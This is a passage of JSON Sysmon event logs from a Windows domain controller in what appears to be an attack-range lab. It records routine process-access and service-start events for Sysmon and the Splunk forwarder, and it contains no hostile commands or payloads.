C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.330\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.330","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.812\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1284\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.812","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1284","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.812\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.812","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: 